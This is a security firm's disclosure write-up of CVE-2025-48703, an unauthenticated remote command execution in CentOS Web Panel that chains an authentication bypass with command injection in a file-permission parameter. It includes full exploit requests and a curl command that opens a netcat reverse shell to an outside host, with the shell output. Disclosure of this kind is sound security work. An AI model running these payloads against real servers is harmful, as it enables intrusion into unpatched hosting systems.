Fenrisk

Contact Info
5 Rue Louis Dessard 95120, Ermont

Follow us

Remote code execution in CentOS Web Panel - CVE-2025-48703

Remote code execution in CentOS Web Panel - CVE-2025-48703

22 Jun 2025 By Maxime Rinaudo
Note: This article addresses a vulnerability that permits an unauthenticated remote attacker to execute arbitrary commands on a CentOS Web Panel server, given knowledge of a valid username


Introduction

Centos Web Panel (CWP) is a free web hosting control panel used to manage servers based on Centos and other RPM based distributions. CWP was first introduced in 2013 as a free, open-source web hosting control panel designed to simplify server management for CentOS-based systems. Developed by a small team led by the CWP project, it aimed to provide an alternative to commercial control panels like cPanel and Plesk, which required costly licenses. The initial focus was on creating a lightweight, user-friendly interface for managing web servers, email, DNS, and databases on Dedicated and VPS servers running CentOS, a popular Linux distribution known for its stability and compatibility with Red Hat Enterprise Linux (RHEL). A paid version with advanced features appeared in 2019, with enhanced security features. Finally, between 2022 and 2024, extra Linux distributions support like AlmaLinux and Rocky Linux were added to the software.

CentOS Web Panel

CWP provides administrators and users with a way to easily configure and manage essential services such as web servers (Apache/NGINX), databases (MySQL/MariaDB), email systems (Postfix, Dovecot, RoundCube), DNS (Bind), and security features (CSF, Mod Security). Using a graphical interface, CWP simplifies website creation, application installation (e.g., WordPress, Joomla), user management, and performance monitoring, offering a cost-effective and powerful alternative to paid solutions like cPanel.

In CentOS Web Panel (CWP), the admin interface (accessible on port 2087 or 2031) and the user interface (accessible on port 2083) serve distinct roles in server management. There are both PHP based applications but the admin interface, secured by HTTPS on port 2087, is designed for system administrators and provides full control over the server, allowing tasks such as configuring web servers (Apache/NGINX), managing DNS, setting up email services, creating user accounts, monitoring resources, and implementing security measures like Config Server Firewall (CSF). It requires root or admin credentials for access.

In contrast, the user interface on port 2083 is intended for end-users (e.g., website owners) and offers a restricted set of tools to manage their specific hosting environment, including website files, databases, email accounts, and application installations via Softaculous, without access to server-wide settings. Both interfaces, powered by the CWP daemon (cwpsrv), ensure secure and role-based management through SSL/TLS encryption and user-specific permissions.

CWP also provides an instance of roundcube, on port 2096, to manage users' emails.

This website management solution is used all over the world. Instances of CWP application can be found using shodan.io with the search pattern Server: cwpsrv. In May 2025, more than 200 000 CWP instances were referenced in shodan.io.

The source code of CWP is protected by ionCube. IonCube is a PHP encryption and licensing tool designed to secure and optimize PHP-based applications. It serves primarily to protect proprietary PHP code by encoding scripts, making them unreadable and tamper-proof while allowing them to run efficiently on servers equipped with the ionCube Loader extension. This enables developers to distribute commercial software without exposing their source code, ensuring intellectual property protection. The use of this protection drastically restricts the methods available for finding vulnerabilities in CWP.

Authentication bypass

The user panel provides file management feature. Users are able to upload, move, copy or compress files. They are also able to change files permissions using the following form:

This form generates the following HTTP POST request:

POST /cwp_30776ec647a8f390/myuser/myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Cookie: cwpsrv-3683e20446a6b40715757e2b05f10521=av0ebj5m5arro35vndm24lufhp; _firstImpression=true; cwpsrv-User-7b897959c0572726e032b381da363f2f=q8aefhfb7dq44m30gorb6a4k5f; cwp-well-known=6a28d0ddbd2d807d5aa015636f065b89
Content-Length: 450
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1:2083/cwp_30776ec647a8f390/myuser/fileManager_v2.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"


------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb

This request identifies the user (myuser) with HTTP Cookies (cwpsrv-*) and using the URL parameter: POST /cwp_30776ec647a8f390/myuser/myuser/index.php?module=filemanager&acc=changePerm

Once the request is received, the server calls the chmod system command. The file pointed by the parameter fileName must exist in currentPath, and the currentPath needs to be in /home/ directory (for instance, /home/myuser/.bashrc). The strace output is:

[...]
13849 14:21:08.880573 execve("/bin/sh", ["sh", "-c", "chmod  644 \"/home/myuser/.bashrc\""], ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "TEMP=/tmp", "TMPDIR=/tmp", "TMP=/tmp", "HOSTNAME=", "USER=myuser", "HOME=/home/myuser"]) = 0 <0.000222>
13849 14:21:08.887956 execve("/usr/bin/chmod", ["chmod", "644", "/home/myuser/.bashrc"], ["HOSTNAME=", "TMPDIR=/tmp", "USER=myuser", "TEMP=/tmp", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "PWD=/usr/local/cwpsrv/var/services/users", "SHLVL=1", "HOME=/home/myuser", "TMP=/tmp", "\_=/usr/bin/chmod"]) = 0 <0.000098>
[...]

The first issue arises from the fact that authentication is not properly verified. Sending a request without any user identifier will generate the same behavior on the server. For instance, it's possible to remove the user Identifier from the URL and still get the request being processed:

POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Content-Length: 450
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"


------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb

The attacker needs to know a valid non-root username (created into the admin interface). This request can be generated using the following command:

$ curl -kis 'https://127.0.0.1:2083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc&currentPath=/home/myuser/&t_total=644'
Command execution (CVE-2025-48703)

The second issue is a command injection in t_total parameter. It seems that t_total parameter, which is used as a file permission mode in chmod system command, is not properly sanitized and allows an attacker to inject arbitrary commands.

Then, using the previous issue, an unauthenticated attacker is able to bypass authentication process and trigger a command injection in the application using the following request:

POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Content-Length: 450
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"


------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

$(arbitrary_command)
------WebKitFormBoundaryrTrcHpS9ovyhBLtb

Finally, an attacker can exploit the vulnerability using, for example, the following commands:

Setting up a listening port on a controlled server:

$ nc -v -n -l -p 9999
Listening on 0.0.0.0 9999

Launching the exploit:

$ curl -kis 'https://127.0.0.1:52083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc 1.2.3.4 9999 -e /bin/bash`'

Waiting the application to connect back:

$ nc -v -n -l -p 9999
Listening on 0.0.0.0 9999
Connection received on 5.6.7.8 43520
id
uid=1001(myuser) gid=1001(myuser) groups=1001(myuser)
ls -lah
total 728K
drwxr-xr-x.  7 cwpsvc cwpsvc  238 May  3 11:11 .
drwxr-xr-x. 14 cwpsvc cwpsvc  220 May  3 11:11 ..
-rw-r--r--   1 root   root    12K Jul  8  2020 Authenticator.php
-rw-r--r--   1 root   root    41K Sep 28  2021 codeEditor.php
-rw-r--r--   1 root   root   9.7K Jul  8  2020 configmailclient
drwxr-xr-x.  2 cwpsvc cwpsvc    6 Mar 22  2021 cwp_branding
drwxr-xr-x. 35 cwpsvc cwpsvc 4.0K Feb 10 22:13 cwp_lang
drwxr-xr-x.  3 cwpsvc cwpsvc   22 Feb 10 22:13 cwp_theme
-rw-r--r--   1 root   root   542K Mar 16  2023 fileManager2.php
-rw-r--r--   1 root   root    90K Oct 19  2022 fileManager_v2.php
-rw-r--r--   1 root   root    17K Jun  7  2023 index.php
drwxr-xr-x.  3 cwpsvc cwpsvc   77 May  3 11:11 login
drwxr-xr-x.  2 cwpsvc cwpsvc   26 May  3 11:11 traits
lrwxrwxrwx.  1 root   root     36 Feb 11 09:06 myuser -> /usr/local/cwpsrv/var/services/users
Conclusion

This exploitation scenario has been tested on versions 0.9.8.1204 and 0.9.8.1188 on Centos7 and reported to CWP developers the 13th of May 2025 as CVE-2025-48703. It allows a remote attacker who knows a valid username on a CWP instance to execute pre-authenticated arbitrary commands on the server.

The vulnerability has been patched on latest version 0.9.8.1205 during June 2025.

Timeline
  • 13/05/2025: First contact with CWP.
  • 23/05/2025: CVE-2025-48703 assigned.
  • 18/06/2025: Patch available on version 0.9.8.1205.
Maxime Rinaudo

Maxime Rinaudo

Maxime Rinaudo est le co-fondateur de Fenrisk ainsi que l'un de ses experts en sécurité. Il est également passionné par la sécurité des applications web. Après avoir travaillé dix années au sein du Ministère des armées et 3 ans en tant que consultant à Paris, Maxime à décidé de rejoindre Julien dans son aventure afin de partager leur vision de la sécurité offensive.